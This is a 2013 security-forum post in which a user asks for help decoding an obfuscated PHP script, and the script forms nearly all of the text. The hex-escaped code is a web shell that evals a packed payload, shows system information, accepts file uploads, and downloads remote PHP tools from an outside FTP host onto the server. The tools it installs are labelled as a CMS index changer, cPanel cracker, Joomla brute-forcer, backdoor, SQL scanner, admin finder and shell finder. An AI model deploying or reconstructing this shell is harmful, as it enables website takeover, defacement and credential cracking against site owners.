 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| |
|
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9145
 People Online:
 Visitors: 633
 Members: 0
 Total: 633
|
|
|
|
|
|
PacketStorm News |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
Please..decode this script. |
|
 Posted: Wed Mar 06, 2013 7:39 am |
 |
|
| MeNinBoX |
| Regular user |
 |
| |
| Joined: Mar 06, 2013 |
| Posts: 16 |
|
|
|
 |
|
 |
|
I've been trying to decode this script, but it still fails.
Please help me.
| Code: |
<?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["h\x74\x70alr"]="\x68\x65\x61\x64";${${"G\x4cO\x42\x41\x4c\x53"}["\x68t\x70\x61\x6cr"]}="\n\x3c\x68t\x6dl>\n\x3ch\x65\x61d>\n<l\x69nk rel=\x22\x73\x68\x6fr\x74c\x75t\x20\x69\x63o\x6e\" \x68\x72\x65\x66\x3d\x22\x68\x74\x74\x70://\x69\x2ei\x6d\x67u\x72\x2e\x63o\x6d/\x41\x30A\x43h\x66\x53\x2epn\x67\"\x20/>\n</script>\n\x3c\x74\x69t\x6ce\x3e[ Ba\x63k\x20|\x20T\x72\x61\x63\x6b\x20]\x3c/\x74i\x74\x6c\x65>\n\x3c\x6de\x74\x61\x20ht\x74\x70-\x65q\x75\x69\x76\x3d\x22\x43\x6f\x6e\x74\x65nt-\x54y\x70e\x22 \x63on\x74\x65nt=\"\x74\x65\x78\x74/\x68t\x6dl\x3b\x20\x63ha\x72s\x65t\x3dU\x54\x46-8\x22\x3e\n\x3c\x73\x74\x79l\x65\x3e\n\t\t\t\tbod\x79{\x63\x6fl\x6f\x72:\x23c\x631\x330\x63;\x20\x66\x6f\x6e\x74-s\x69z\x65: 1\x32\x70x; \x66o\x6e\x74-\x66amily:\x20seri\x66; \x62\x61ck\x67r\x6fu\x6ed-colo\x72:\x20\x62l\x61c\x6b\x3b \x62\x61\x63k\x67r\x6fund-\x69m\x61\x67e: \x75\x72l(h\x74\x74\x70://2\x2ebp\x2ebl\x6f\x67s\x70\x6ft\x2e\x63om/-H\x4f\x68X\x6akh\x37C\x48\x6b/\x55D\x56Eu\x34\x49G\x61\x4c\x49/\x41A\x41AA\x41\x41\x41AJ8/P\x58\x53Q7H\x5fIUVU/\x73\x31600/\x62a\x63\x6bt\x72a\x63\x6b\x5f\x64\x65\x73kto\x70\x5f\x313\x36\x38\x78\x31\x30\x32\x36_\x68\x64-\x77\x61l\x6cp\x61pe\x72-\x357\x381\x377\x2ej\x70g)\x3b\n\t\t\t\t\x62ackg\x72\x6fu\x6ed-re\x70\x65at:\x20no-\x72e\x70\x65\x61t;\n\t\t\t\tb\x61\x63\x6bg\x72o\x75\x6e\x64-\x70\x6f\x73itio\x6e: b\x6ft\x74\x6fm;\x20}\n \x20 \x20 \x20\x20 \x20 \x20 a\x20{tex\x74-d\x65\x63\x6fr\x61t\x69o\x6e: \x6eone\x3b c\x6fl\x6f\x72:\x20\x23\x63c1\x33\x30c; \x66\x6fn\x74-\x77e\x69g\x68t: b\x6fl\x64\x3b}\n\n\n//\x7e\x20B\x79\x20\x5237\x4e0 \x7e//\n</sty\x6ce>";echo "<\x68\x74m\x6c>\n\t\x3ch\x65\x61d>\n\t\t";${"\x47L\x4f\x42\x41L\x53"}["o\x79\x67\x6d\x6bl\x6b\x6du\x76"]="h\x65\x61\x64";${"G\x4cOB\x41\x4c\x53"}["\x6c\x69ng\x6e\x67\x77x"]="\x66\x69\x6c\x65";echo${${"\x47LO\x42\x41L\x53"}["\x6fy\x67\x6d\x6bl\x6bm\x75\x76"]};${"\x47\x4cO\x42\x41\x4cS"}["\x76il\x76\x7a\x69\x7a\x67\x66"]="\x75\x73\x65rs";${"\x47\x4cO\x42\x41LS"}["\x78\x69yin\x7a\x76w\x79\x7av\x6a"]="\x75\x73\x73";${"\x47L\x4f\x42\x41\x4c\x53"}["o\x6cep\x76\x72u\x6e\x65"]="\x63\x6d\x64";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["z\x6c\x68h\x67\x6d"]="\x64\x69r";${"GL\x4f\x42ALS"}["\x78\x72uo\x73d"]="b";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x77r\x6d\x62i\x79\x74w\x6frb"]="r\x72";${"\x47L\x4f\x42\x41\x4c\x53"}["\x72\x72\x6e\x64\x71\x72\x67\x78qp\x76\x77"]="\x63\x6f\x6es\x79\x6d";echo"\n<table \x77\x69\x64t\x68\x3d\"\x310\x30%\x22\x20\x63\x65\x6c\x6c\x73\x70ac\x69\x6eg=\x220\"\x20c\x65\x6clpa\x64\x64in\x67=\"\x30\x22\x20\x63la\x73\x73=\"tb\x31\x22 \x3e\n\x3c\x74\x64 w\x69d\x74\x68\x3d\x22\x310\x30\x25\x22 \x61\x6c\x69\x67n\x3dc\x65nt\x65\x72 \x76al\x69gn=\"\x74\x6f\x70\x22\x20r\x6f\x77\x73\x70a\x6e=\"\x31\">\x3c\x68r \x63olo\x72\x3d\"r\x65d\x22\x3e\n<\x69\x6d\x67\x20src\x3d\"ht\x74p://i.\x69m\x67\x75r.\x63\x6f\x6d/C\x32J\x49\x45h\x6a\x2e\x70n\x67\x22\x3e\x3c\x68\x72\x20\x63olor\x3d\x22\x72e\x64\"\x3e</\x69>\n</t\x61b\x6ce>\n";echo "\x3c\x63e\x6e\x74er>\x3c\x66o\x6et \x63olo\x72=\x22\x67re\x79\"\x20f\x6fn\x74 \x73\x69\x7a\x65=3 > //\x20\x3cfo\x6et col\x6f\x72\x3d\"w\x68\x69te\" \x66\x6f\x6et\x20\x73iz\x65\x3d\x33\x20>\n<a \x68r\x65\x66\x3d\x22?\x61\x3d\x6a\x69\x63\x22\x20\x73t\x79l\x65\x3d\x22t\x65\x78t-d\x65\x63\x6f\x72a\x74i\x6fn: non\x65\">\nJo\x6fml\x61 \x49n\x64e\x78\x20Ch\x61\x6e\x67er\x20\x3c/\x61\x3e\x20\x3cf\x6fn\x74 c\x6fl\x6f\x72=\x22\x67\x72e\x79\x22\x20fo\x6e\x74\x20\x73\x69z\x65=\x33 >\x20<\x66\x6fnt \x63\x6fl\x6f\x72\x3d\"\x67\x72e\x79\x22 \x66on\x74\x20\x73\x69\x7a\x65\x3d\x33 \x3e| \x3c/\x66\x6f\x6et>\x20\n\x3ca\x20h\x72ef=\"?\x61=w\x69\x63\"\x20style\x3d\"\x74\x65\x78t-\x64e\x63o\x72at\x69o\x6e:\x20\x6e\x6fne\x22\x3e\n\x57or\x64pr\x65s\x73 \x49n\x64\x65\x78 \x43\x68\x61\x6e\x67\x65r\x20\x3c/a>\x20<f\x6fn\x74 c\x6fl\x6f\x72=\"\x67rey\x22 \x66\x6fnt \x73iz\x65=\x33\x20>\x20\x3cfon\x74\x20co\x6cor\x3d\x22g\x72ey\x22 f\x6f\x6et\x20\x73\x69\x7ae=3\x20>| \x3c/f\x6fn\x74\x3e \n\x3ca h\x72\x65f=\"?\x61=\x63\x70\x22\x20s\x74\x79l\x65\x3d\x22\x74ex\x74-\x64\x65\x63\x6fr\x61\x74ion: no\x6e\x65\"\x3e\nC\x70\x61\x6e\x65l C\x72ac\x6b\x65r \x3c/\x61\x3e \x3cfo\x6e\x74 \x63o\x6co\x72=\"g\x72\x65\x79\x22\x20\x66\x6fnt\x20\x73\x69ze=3 >\x20\x3cfo\x6et\x20\x63o\x6cor\x3d\"\x67\x72\x65\x79\"\x20\x66ont\x20s\x69\x7ae=\x33 \x3e| </fo\x6e\x74\x3e \n<a href\x3d\"?\x61\x3d\x73\x71l\"\x20sty\x6ce\x3d\"\x74\x65xt-d\x65\x63\x6fr\x61\x74\x69\x6fn: \x6eo\x6ee\"\x3e\nSq\x6c\x20\x53c\x61\x6ene\x72 \x3c/\x61\x3e\x20\x3c\x66o\x6et\x20co\x6co\x72\x3d\"gr\x65y\x22\x20fon\x74 s\x69\x7a\x65\x3d\x33 \x3e\x20\x3cf\x6fn\x74 col\x6f\x72\x3d\"\x67r\x65\x79\x22\x20f\x6f\x6et \x73\x69z\x65=3 >| \x3c/\x66\x6f\x6et\x3e\x20\n\x3ca\x20hre\x66\x3d\x22?a\x3dj\x62\"\x20s\x74\x79le\x3d\"te\x78t-de\x63orati\x6fn:\x20n\x6fne\x22\x3e\nJ\x6fo\x6dla\x20Brut\x65r\x20</a\x3e \x3cf\x6f\x6e\x74 \x63\x6fl\x6f\x72\x3d\x22\x67\x72ey\x22\x20f\x6fnt \x73\x69\x7ae=\x33 ></f\x6f\x6et\x3e\x20\n<f\x6f\x6et\x20col\x6fr=\"\x67re\x79\"\x20\x66\x6fnt\x20\x73\x69\x7a\x65=\x33\x20>\x20\\\x5c\x20\x3c/f\x6f\x6et\x3e\x20\n\x3cb\x72\x3e\n<\x66\x6f\x6et co\x6c\x6f\x72=\x22gre\x79\x22\x20\x66\x6fnt\x20\x73i\x7ae\x3d\x33\x20> // </\x66\x6f\x6e\x74>\x20\n<a\x20\x68re\x66\x3d\"?a\x3d\x62\x34\x63\x6b\x22\x20sty\x6c\x65=\"\x74e\x78\x74-\x64\x65c\x6fra\x74\x69o\x6e:\x20no\x6e\x65\"\x3e\nBac\x6b\x64oo\x72\x20</a>\x20\x3cf\x6f\x6e\x74\x20co\x6cor=\x22\x77\x68it\x65\x22 f\x6fn\x74\x20s\x69ze=\x33\x20> \x3c\x66\x6fnt c\x6flor\x3d\x22g\x72ey\x22 \x66\x6fn\x74 s\x69z\x65=3 \x3e|\x20\x3c/fo\x6e\x74\x3e\x20\n<a\x20h\x72e\x66\x3d\x22?\x61\x3dj\x73s\x22\x20style=\x22\x74\x65\x78t-\x64\x65co\x72a\x74\x69o\x6e: n\x6f\x6e\x65\"\x3e\nJ\x6fomla\x20\x53er\x76\x65\x72 \x53\x63a\x6e\x6ee\x72\x20\x3c/\x61\x3e\x20<\x66\x6f\x6et co\x6cor\x3d\x22\x67\x72\x65\x79\"\x20fon\x74 \x73\x69\x7ae=\x33\x20>\x20<f\x6f\x6e\x74\x20color\x3d\"gr\x65y\x22\x20f\x6fnt s\x69\x7ae=\x33\x20>|\x20\x3c/\x66\x6f\x6et\x3e \n<\x61 \x68re\x66=\x22?\x61=\x77\x73s\x22\x20s\x74y\x6c\x65=\"\x74\x65x\x74-decor\x61\x74\x69o\x6e: \x6e\x6fn\x65\">\nWor\x64press\x20S\x65\x72ver \x53ca\x6e\x6e\x65r \x3c/a>\x20<f\x6fn\x74\x20\x63\x6f\x6cor=\"g\x72ey\x22 fo\x6e\x74 \x73\x69z\x65\x3d\x33 \x3e\x20\x3c\x66\x6f\x6e\x74 col\x6f\x72=\"grey\"\x20f\x6f\x6et\x20\x73\x69\x7a\x65\x3d3\x20\x3e| \x3c/f\x6fnt> \n<a\x20\x68\x72\x65f=\x22?a=ad\x6d\" sty\x6ce\x3d\"\x74e\x78\x74-dec\x6f\x72ati\x6f\x6e: no\x6e\x65\"\x3e\n\x41d\x6di\x6e\x20F\x69\x6ed\x65\x72 \x3c/a\x3e\x20\x3c\x66\x6f\x6e\x74 co\x6c\x6f\x72\x3d\x22\x67\x72\x65y\"\x20\x66\x6f\x6et \x73i\x7ae\x3d3\x20> <font\x20\x63\x6f\x6c\x6f\x72=\x22gr\x65y\x22\x20\x66on\x74 \x73\x69\x7a\x65\x3d\x33 >| \x3c/\x66\x6f\x6et>\x20\n<a\x20h\x72e\x66=\x22?a=\x73\x34s\" \x73t\x79le=\x22\x74\x65\x78\x74-\x64ecor\x61t\x69\x6fn: \x6eone\x22\x3e\n\x53\x68e\x6c\x6c \x46\x69\x6e\x64er\x20\x3c/\x61\x3e \x3c\x66o\x6e\x74 \x63\x6fl\x6f\x72=\x22\x67r\x65\x79\"\x20fo\x6et \x73\x69ze\x3d\x33 \x3e</\x66\x6fn\x74> \n<f\x6f\x6et c\x6fl\x6f\x72=\"gr\x65\x79\x22\x20\x66\x6f\x6e\x74 \x73iz\x65=3 \x3e\x20\\\x5c\x3c/\x66o\x6e\x74>\n\x3chr \x63o\x6c\x6fr\x3d\"red\"\x3e\n";eval(pack("H*","6\x35766\x316\x43\x32\x38\x36\x326\x317\x33\x36\x35\x336\x3345F6\x346\x35\x3636\x46\x364\x365\x32\x382\x374\x41\x34\x385679\x3624\x343\x306\x42\x35\x383\x314E4\x365\x356\x435A4655\x36\x43736E534\x36\x352\x35555\x34\x36\x33949\x354\x3314\x45\x3554\x413\x31\x330754\x414\x3639\x3545\x32564\x41\x35\x375\x32564\x41\x362\x34A3\x314A\x34\x36\x355565\x36\x346553\x3152\x36\x36\x35\x36\x35\x364\x414\x41\x34A3\x313\x30\x33\x37\x343\x36D31\x36\x386\x31\x357\x377\x36F\x34A324\x367\x33\x359\x36\x44\x346\x37\x356\x31\x35\x3746\x375\x34\x456\x414\x35\x335\x351\x34\x37\x36\x34\x37\x3459576\x437\x334C6\x444\x457\x36\x362\x353\x36\x337\x334A4\x363\x395\x345\x325\x36\x34\x41\x35\x375\x3256\x34A\x362\x34\x41\x331\x34E4\x365\x356\x435\x41\x346\x35\x356C\x33\x394\x325245\x352\x353\x34\x41\x3313\x307\x334\x414\x385\x36796\x32\x34\x33\x36B3\x37\x343\x36\x39\x35\x326\x39\x3595\x384\x45\x36C583\x33\x356796\x32\x34\x33\x34\x31\x33\x3949\x343\x36\x346\x46644\x38\x35\x32774\x46\x36\x39\x33\x387\x364A\x37934\x36B583\x314E46\x355\x36C\x35A\x34\x3655\x36\x43\x37\x336\x45\x355\x33\x305\x36\x35\x33\x35\x366\x42\x356\x35\x335\x383\x30\x335\x342\x35\x34555\x356E\x35\x38\x35\x33356B6158\x34\x417\x35\x35\x395\x37\x33\x316C4B\x343\x35\x32\x3665\x35\x330\x35\x3653\x356\x36B5\x3653577\x3964\x35\x345\x31\x331\x34\x414A5\x35\x346\x35\x32\x36\x365\x346B4\x36\x34\x45\x35\x32\x353\x3646\x344\x4254\x373\x3272\x39\x32\x393B"));if($_GET[a]=="jic"){${"\x47LO\x42\x41\x4cS"}["\x62\x69l\x69r\x64\x61\x73q\x68\x79\x75"]="\x62";$iwdqurv="\x62";${"\x47\x4c\x4f\x42A\x4c\x53"}["s\x6e\x6d\x69\x78m\x6d\x72\x75"]="\x66il\x65";${${"GL\x4f\x42A\x4c\x53"}["snm\x69x\x6dmr\x75"]}=file_get_contents("h\x74\x74\x70://ft\x70\x2e\x6aa\x69\x73\x74.ac.jp/\x70u\x62//sou\x72c\x65\x66\x6f\x72g\x65/\x70/p\x72/\x70\x72\x6f\x63od\x65\x72z/\x6a\x6f\x6f\x6dl\x61\x69n\x64ex\x63h\x61ng\x65r\x2et\x78t");${${"\x47\x4cOBA\x4c\x53"}["\x62\x69\x6cir\x64\x61\x73q\x68\x79\x75"]}=fopen("j\x69c\x2e\x70\x68p","w");$qssuwmtxofb="\x62";fwrite(${$iwdqurv},${${"\x47L\x4f\x42A\x4c\x53"}["li\x6e\x67\x6e\x67wx"]});fclose(${$qssuwmtxofb});print"\x3c\x63\x65n\x74er><\x66ont \x63\x6f\x6cor\x3d\"\x77\x68it\x65\x22>\x44\x6f\x6ee Sh\x65ll\x20Na\x6de <a \x68\x72e\x66\x3d\x22jic\x2e\x70h\x70\">\x3c\x66on\x74\x20c\x6fl\x6fr\x3d\x72\x65\x64>\x6ai\x63.\x70h\x70\x3c/f\x6fnt\x3e\x3c/a>\x20";}if($_GET[a]=="w\x69\x63"){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x79ppx\x62\x6c\x73l\x67"]="\x62";${"GLO\x42\x41L\x53"}["\x63\x66\x64\x74\x61\x77\x68"]="f\x69\x6c\x65";$pbnspizaspl="\x66il\x65";${$pbnspizaspl}=file_get_contents("\x68\x74t\x70://\x66\x74\x70.\x6aai\x73t.\x61\x63\x2e\x6a\x70/\x70\x75b//s\x6fu\x72\x63\x65\x66o\x72ge/\x70/\x70\x72/\x70\x72\x6fcod\x65r\x7a/\x77or\x64p\x72\x65s\x73ind\x65\x78ch\x61\x6eg\x65\x72\x2et\x78t");$fnmwedvmz="\x62";${$fnmwedvmz}=fopen("wic\x2ep\x68\x70","\x77");$wscpkpsd="\x62";fwrite(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x79p\x70xbl\x73\x6c\x67"]},${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x63f\x64\x74a\x77\x68"]});fclose(${$wscpkpsd});print"\x3c\x63e\x6e\x74\x65\x72\x3e<fon\x74\x20co\x6c\x6fr=\"w\x68\x69te\x22>D\x6fne\x20\x53\x68\x65\x6cl \x4ea\x6d\x65\x20<a \x68\x72\x65\x66=\"w\x69\x63.ph\x70\x22>\x3c\x66o\x6et col\x6fr=red>w\x69c\x2eph\x70\x3c/\x66\x6fn\x74>\x3c/\x61>\x20";}if($_GET[a]=="cp"){${"\x47\x4c\x4fBA\x4cS"}["\x78\x70h\x72j\x6a\x6d\x64"]="b";${${"\x47\x4c\x4fB\x41\x4c\x53"}["li\x6e\x67\x6eg\x77x"]}=file_get_contents("ht\x74p://ftp\x2eja\x69\x73\x74\x2ea\x63.\x6ap/\x70\x75b//sou\x72ce\x66\x6fr\x67\x65/p/p\x72/proco\x64\x65\x72\x7a/c\x70bt\x2e\x74xt");${"\x47\x4cOBA\x4c\x53"}["\x63\x73ug\x6f\x72\x7ab\x79d"]="\x62";${${"GL\x4f\x42\x41L\x53"}["\x63\x73\x75g\x6frz\x62\x79\x64"]}=fopen("cp.ph\x70","\x77");fwrite(${${"\x47\x4c\x4fBA\x4c\x53"}["\x78\x70h\x72\x6a\x6a\x6d\x64"]},${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6c\x69n\x67\x6e\x67\x77x"]});${"\x47\x4cO\x42\x41\x4c\x53"}["\x77e\x76\x79\x6ci\x73\x66\x73\x64e"]="\x62";fclose(${${"\x47LO\x42\x41\x4cS"}["\x77ev\x79\x6c\x69s\x66s\x64\x65"]});print"\x3cce\x6e\x74\x65r><fo\x6et\x20co\x6c\x6fr=\x22w\x68it\x65\"\x3e\x44o\x6ee\x20\x53\x68el\x6c N\x61me \x3c\x61 h\x72ef\x3d\"\x63p\x2e\x70h\x70\x22\x3e\x3c\x66on\x74\x20c\x6fl\x6fr\x3dr\x65d>\x63\x70.\x70\x68\x70\x3c/fo\x6et></\x61\x3e\x20";}if($_GET[a]=="\x73ql"){${"G\x4c\x4fBA\x4c\x53"}["\x61j\x74p\x73\x68\x6b\x7a\x6f"]="\x66ile";${"\x47L\x4fBA\x4c\x53"}["\x71\x71\x79\x75y\x77\x6d\x6f\x68"]="\x62";${${"G\x4cOBA\x4cS"}["\x61\x6atp\x73\x68\x6bz\x6f"]}=file_get_contents("http://f\x74\x70.\x6a\x61\x69st.ac.j\x70/\x70u\x62//\x73o\x75rc\x65f\x6frg\x65/p/p\x72/\x70\x72\x6fco\x64\x65rz/\x73ql\x73c\x61\x6e\x2e\x74xt");${${"\x47LO\x42ALS"}["\x78r\x75os\x64"]}=fopen("\x73q\x6c\x73c\x61n.ph\x70","\x77");fwrite(${${"\x47\x4c\x4f\x42ALS"}["q\x71yu\x79wm\x6fh"]},${${"G\x4c\x4f\x42A\x4c\x53"}["\x6ci\x6e\x67\x6e\x67w\x78"]});fclose(${${"\x47L\x4f\x42\x41\x4c\x53"}["x\x72\x75os\x64"]});print"\x3ccen\x74\x65r><\x66o\x6e\x74\x20\x63o\x6co\x72=\x22w\x68\x69t\x65\"\x3e\x44one \x53\x68\x65\x6cl \x4e\x61\x6de\x20<\x61 \x68r\x65f=\x22\x73\x71\x6c\x73can.ph\x70\">\x3cf\x6fnt c\x6f\x6co\x72\x3d\x72\x65\x64>\x73q\x6c\x73\x63a\x6e\x2e\x70\x68\x70\x3c/\x66o\x6e\x74>\x3c/\x61\x3e ";}if($_GET[a]=="\x6a\x62"){${"\x47L\x4f\x42\x41L\x53"}["\x6a\x65\x72\x61\x6d\x74q"]="\x66i\x6c\x65";${${"\x47\x4c\x4f\x42\x41\x4cS"}["j\x65\x72a\x6d\x74\x71"]}=file_get_contents("htt\x70://\x66t\x70\x2ejaist.a\x63\x2ejp/\x70u\x62//s\x6f\x75\x72c\x65fo\x72\x67e/\x70/\x70r/\x70\x72o\x63\x6f\x64e\x72\x7a/jooml\x61bru\x74e.\x74x\x74");${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x78ru\x6f\x73\x64"]}=fopen("j\x62.ph\x70","\x77");fwrite(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x72\x75\x6fs\x64"]},${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x69\x6e\x67\x6e\x67\x77\x78"]});fclose(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x78\x72\x75o\x73\x64"]});print"<ce\x6eter\x3e<\x66\x6fnt \x63o\x6co\x72\x3d\x22w\x68i\x74e\x22\x3e\x44o\x6ee\x20\x53\x68\x65l\x6c N\x61\x6de \x3ca\x20href=\x22\x6a\x62.php\x22\x3e<\x66o\x6et \x63o\x6c\x6f\x72=r\x65d>\x6a\x62.\x70hp\x3c/font>\x3c/\x61\x3e\x20";}if($_GET[a]=="b\x34ck"){${${"\x47L\x4f\x42\x41\x4cS"}["\x6c\x69\x6e\x67\x6e\x67\x77\x78"]}=file_get_contents("\x68ttp://\x66t\x70\x2e\x6a\x61is\x74.\x61c.j\x70/p\x75b//s\x6f\x75r\x63eforg\x65/\x70/\x70\x72/pr\x6fcoderz/b4ck.\x74x\x74");${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x62m\x68\x67\x78o\x73\x6b\x75"]="b";$sukrtpjga="\x62";$xrdvfftnx="\x66\x69\x6c\x65";${${"G\x4c\x4f\x42A\x4cS"}["\x62\x6d\x68g\x78o\x73\x6b\x75"]}=fopen("b\x34\x63k.\x70h\x70","\x77");fwrite(${$sukrtpjga},${$xrdvfftnx});fclose(${${"\x47L\x4fB\x41L\x53"}["\x78\x72\x75\x6f\x73\x64"]});print"<ce\x6e\x74er><\x66\x6f\x6et\x20\x63\x6f\x6c\x6fr\x3d\"\x77h\x69t\x65\"\x3eD\x6fn\x65 \x53h\x65\x6c\x6c \x4e\x61\x6d\x65 \x3c\x61 \x68re\x66\x3d\"b\x34c\x6b\x2ephp\"\x3e\x3c\x66\x6fnt\x20\x63\x6fl\x6f\x72\x3d\x72\x65\x64>b4ck.\x70\x68p</f\x6fnt></a\x3e\x20";}if($_GET[a]=="\x6a\x73s"){$brejvuvompim="\x66\x69\x6c\x65";${$brejvuvompim}=file_get_contents("htt\x70://ft\x70\x2ejais\x74\x2e\x61\x63.\x6a\x70/\x70\x75b//s\x6fur\x63efo\x72ge/p/pr/\x70r\x6f\x63o\x64erz/j\x73\x73.\x74\x78\x74");$khsdwfzhrl="b";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x78\x72\x75\x6f\x73\x64"]}=fopen("\x6as\x73.\x70\x68p","\x77");fwrite(${$khsdwfzhrl},${${"\x47\x4cO\x42ALS"}["\x6c\x69\x6e\x67\x6e\x67w\x78"]});fclose(${${"\x47LO\x42\x41\x4c\x53"}["\x78\x72\x75\x6f\x73\x64"]});print"\x3cc\x65nt\x65r\x3e<f\x6fnt c\x6f\x6cor=\x22\x77\x68i\x74e\x22\x3eD\x6fn\x65 S\x68\x65\x6cl\x20\x4eame\x20\x3ca h\x72ef=\"j\x73s.ph\x70\x22>\x3cf\x6fnt\x20\x63\x6flo\x72\x3d\x72ed\x3ejs\x73\x2ep\x68\x70\x3c/\x66o\x6e\x74></a>\x20";}if($_GET[a]=="\x77\x73\x73"){${"\x47\x4cO\x42A\x4c\x53"}["i\x6a\x61e\x62u\x66"]="b";${${"\x47\x4cO\x42\x41L\x53"}["\x6ci\x6e\x67\x6eg\x77\x78"]}=file_get_contents("\x68ttp://\x66tp.\x6aai\x73\x74.a\x63.\x6ap/\x70\x75\x62//\x73\x6f\x75rc\x65\x66\x6fr\x67\x65/\x70/\x70\x72/\x70\x72oc\x6fd\x65rz/wss.\x74xt");${${"\x47L\x4f\x42\x41\x4c\x53"}["x\x72u\x6f\x73d"]}=fopen("\x77\x73s.p\x68p","\x77");fwrite(${${"\x47\x4c\x4fB\x41\x4c\x53"}["xr\x75\x6f\x73d"]},${${"G\x4cO\x42\x41L\x53"}["\x6ci\x6e\x67\x6e\x67wx"]});fclose(${${"\x47\x4cOB\x41\x4c\x53"}["ij\x61e\x62\x75f"]});print"<c\x65nter\x3e<f\x6fn\x74\x20c\x6f\x6c\x6fr=\x22\x77h\x69te\x22\x3e\x44on\x65 S\x68\x65l\x6c N\x61\x6d\x65\x20\x3c\x61\x20\x68r\x65f=\x22\x77ss\x2ephp\"\x3e\x3cf\x6fnt\x20c\x6flor\x3d\x72e\x64\x3e\x77\x73\x73\x2eph\x70</f\x6fnt>\x3c/\x61\x3e ";}${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x79\x76\x70\x71\x64\x68"]="\x72\x73";if($_GET[a]=="ad\x6d"){${${"\x47\x4cO\x42A\x4cS"}["\x6c\x69\x6e\x67ngw\x78"]}=file_get_contents("htt\x70://f\x74\x70.\x6a\x61i\x73\x74\x2e\x61\x63\x2ejp/\x70\x75\x62//\x73o\x75rcefor\x67e/\x70/pr/\x70r\x6f\x63\x6fd\x65\x72\x7a/\x61\x64\x6d\x2e\x74\x78\x74");${"G\x4c\x4f\x42\x41\x4cS"}["\x76\x6a\x73c\x69\x75\x74\x72\x70\x6fk\x72"]="fil\x65";${${"\x47\x4c\x4f\x42ALS"}["\x78r\x75\x6fs\x64"]}=fopen("adm\x2e\x70hp","w");fwrite(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x78\x72\x75\x6f\x73d"]},${${"\x47\x4c\x4f\x42AL\x53"}["\x76jsci\x75\x74\x72\x70\x6f\x6b\x72"]});fclose(${${"\x47L\x4fB\x41LS"}["\x78\x72\x75o\x73d"]});print"<\x63\x65nt\x65r><f\x6fn\x74 \x63\x6flo\x72=\x22\x77\x68\x69\x74\x65\">Done She\x6cl \x4e\x61me <a h\x72\x65f=\x22a\x64m.p\x68\x70\"\x3e\x3cf\x6f\x6et\x20co\x6c\x6f\x72\x3dred>ad\x6d\x2e\x70\x68\x70\x3c/\x66\x6f\x6e\x74>\x3c/a>\x20\x3c/\x681\x3e ";}if($_GET[a]=="\x734s"){$zezpcx="\x62";${${"GL\x4f\x42A\x4cS"}["lin\x67\x6egwx"]}=file_get_contents("\x68\x74\x74\x70://ft\x70\x2ej\x61\x69\x73\x74.ac\x2e\x6ap/\x70ub//\x73\x6f\x75\x72c\x65forge/\x70/\x70r/\x70r\x6f\x63ode\x72\x7a/\x73h\x65\x6clfind\x65r\x2etxt");${"\x47LO\x42\x41\x4c\x53"}["\x79\x6c\x62m\x72\x75\x6e\x7ac\x73\x72i"]="b";${"\x47L\x4f\x42\x41\x4cS"}["r\x77m\x6f\x66i\x73z\x73\x63\x65"]="\x66\x69l\x65";${${"\x47\x4c\x4fB\x41L\x53"}["\x79\x6c\x62\x6d\x72un\x7acs\x72\x69"]}=fopen("\x73he\x6clfi\x6e\x64er\x2eph\x70","\x77");$wxrlkwitl="\x62";fwrite(${$wxrlkwitl},${${"G\x4c\x4f\x42\x41LS"}["\x72\x77\x6d\x6f\x66is\x7a\x73\x63\x65"]});fclose(${$zezpcx});print"\x3cce\x6e\x74\x65\x72><\x66ont\x20co\x6cor\x3d\"w\x68\x69t\x65\x22\x3eDo\x6e\x65 Shell\x20N\x61\x6d\x65 <\x61 \x68r\x65f\x3d\"she\x6c\x6c\x66in\x64e\x72\x2e\x70h\x70\x22>\x3cf\x6f\x6et \x63\x6f\x6cor=r\x65d>\x73\x68\x65ll\x66inde\x72.\x70\x68p\x3c/\x66o\x6e\x74></a\x3e\x20";}echo"<\x66\x6f\x6et\x20\x66ac\x65\x3d\x22\x56er\x64\x61\x6ea\" s\x69ze=\"\x32\">\n\n\x3ccen\x74\x65r\x3eUnam\x65-a : \x3cfon\x74\x20c\x6f\x6c\x6f\x72\x3d\"#\x38\x30\x38\x308\x30\">".php_uname()."\n<\x62\x72>\n";${"G\x4c\x4f\x42\x41LS"}["\x69e\x63en\x65"]="r";echo"\x3cce\x6et\x65\x72\x3e\x3cfo\x72\x6d a\x63\x74io\x6e\x3d\"\x22\x20m\x65t\x68\x6f\x64\x3d\"\x70ost\x22 e\x6e\x63t\x79\x70\x65=\"\x6d\x75\x6c\x74ip\x61\x72t/fo\x72m-\x64\x61\x74a\" \x6e\x61me=\"u\x70loade\x72\x22\x20id\x3d\x22\x75\x70l\x6f\x61der\x22>";echo"\x3c\x63\x65\x6e\x74e\x72\x3e<inp\x75\x74\x20t\x79\x70e=\x22f\x69l\x65\"\x20nam\x65=\"f\x69le\" s\x69\x7ae\x3d\x22\x35\x30\"><\x69\x6e\x70\x75\x74\x20nam\x65\x3d\"_up\x6c\x22\x20t\x79p\x65=\x22\x73\x75bmi\x74\x22 \x69d=\x22_\x75pl\x22 va\x6c\x75\x65=\"U\x70\x6c\x6f\x61d\x22\x3e</fo\x72\x6d>\x3c/\x63\x65\x6e\x74e\x72>";${"\x47L\x4fB\x41LS"}["\x6c\x73\x71\x74x\x61\x6e"]="c";if($_POST["_\x75\x70l"]=="U\x70\x6c\x6f\x61d"){if(@copy($_FILES["\x66il\x65"]["\x74\x6dp\x5fnam\x65"],$_FILES["fil\x65"]["nam\x65"])){echo"<\x70 